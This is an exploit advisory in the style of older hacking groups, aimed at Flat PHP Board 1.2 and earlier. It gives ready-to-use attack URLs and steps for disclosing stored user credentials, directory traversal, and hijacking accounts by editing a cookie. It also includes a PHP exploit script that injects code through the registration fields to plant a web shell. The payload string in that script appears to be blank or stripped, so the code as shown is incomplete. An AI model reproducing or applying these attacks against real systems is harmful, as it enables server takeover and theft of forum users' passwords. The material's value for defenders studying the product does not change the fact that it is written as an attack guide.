---------------------------------------------------------------=0D
 ____            __________         __             ____  __   =0D
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ =0D
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\=0D
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  =0D
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  =0D
          \/\______|      \/     \/                         =0D
---------------------------------------------------------------=0D
=0D
Http://www.inj3ct-it.org 	 Staff[at]inj3ct-it[dot]org =0D 
=0D
---------------------------------------------------------------=0D
=0D
Flat PHP Board <= 1.2 Multiple Vulnerabilities=0D
=0D
---------------------------------------------------------------=0D
=0D
#By KiNgOfThEwOrLd				=0D
=0D
---------------------------------------------------------------=0D
Remote User Credentials Disclosure=0D
=0D
PoC:=0D
=0D
No much to say...an attacker can get his target's informations visiting http://[target]/[flat_php_board_path]/users/[target_username].php=0D 
=0D
The informations will be showed in this way:=0D
=0D
[username] [password] [email]=0D
---------------------------------------------------------------=0D
Multiple Remote Command Executions / File Uploading=0D
=0D
PoC:=0D
=0D
When we register a new account, flat php board make a file like /users/[username].php=0D
All the fields (Username, Password, Email) are not correctly filtred. Then, an attacker can executes a malicious code on the vulnerable server.=0D
=0D
Exploit:=0D
=0D
31337.php?targ=http://[target]/[flat_php_board_path]=0D 
$targ = $_GET['targ'];=0D
echo '=0D
=0D
=0D
=0D
=0D
=0D
=0D
=0D
';=0D
/*=0D
This will make a shell in http://[target]/[flat_php_board_path]/31337.php=0D 
Usage: http://[target]/[flat_php_board_path]/31337.php?r0x=[php_code]=0D 
*/=0D
?>=0D
=0D
Nb. also all the fields of index.php?a=profile is not correctly parsed.=0D
---------------------------------------------------------------=0D
Remote Directory Traversal / Source Disclosure=0D
=0D
http://[target]/[flat_php_board_path]index.php?a=topic&topic=../[arbitrary php file]=0D 
=0D
http://[target]/[flat_php_board_path]index.php?a=viewprofile&username=../[arbitrary php file]=0D 
---------------------------------------------------------------=0D
Remote Cookie Manipoulation / Privilege Escalation=0D
=0D
PoC:=0D
=0D
An attacker can login with an arbitrary account editing the fpb_username cookie.=0D
=0D
In fact, if you try to replace your username with your target username and refresh, you will be logged in like him. But now, if you try to edit your profile or something like that, you will generate an error like:=0D
=0D
Error with cookies. password/username not correct.=0D
=0D
Don't worry, if you go to index.php?a=profile you will find your victim credentials. Then, viewing the source code you can view your victim password as:=0D
=0D
Password:=0D
=0D
---------------------------------------------------------------	=0D
Ok, i think that's all :S=0D
---------------------------------------------------------------=0D
=0D
=0D
=0D
=0D
=0D
=0D